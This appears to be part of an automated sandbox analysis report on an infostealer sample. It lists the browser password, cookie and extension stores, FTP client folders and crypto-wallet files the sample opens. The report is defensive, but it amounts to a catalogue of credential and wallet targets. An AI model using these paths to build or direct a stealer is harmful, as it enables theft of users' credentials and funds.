Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
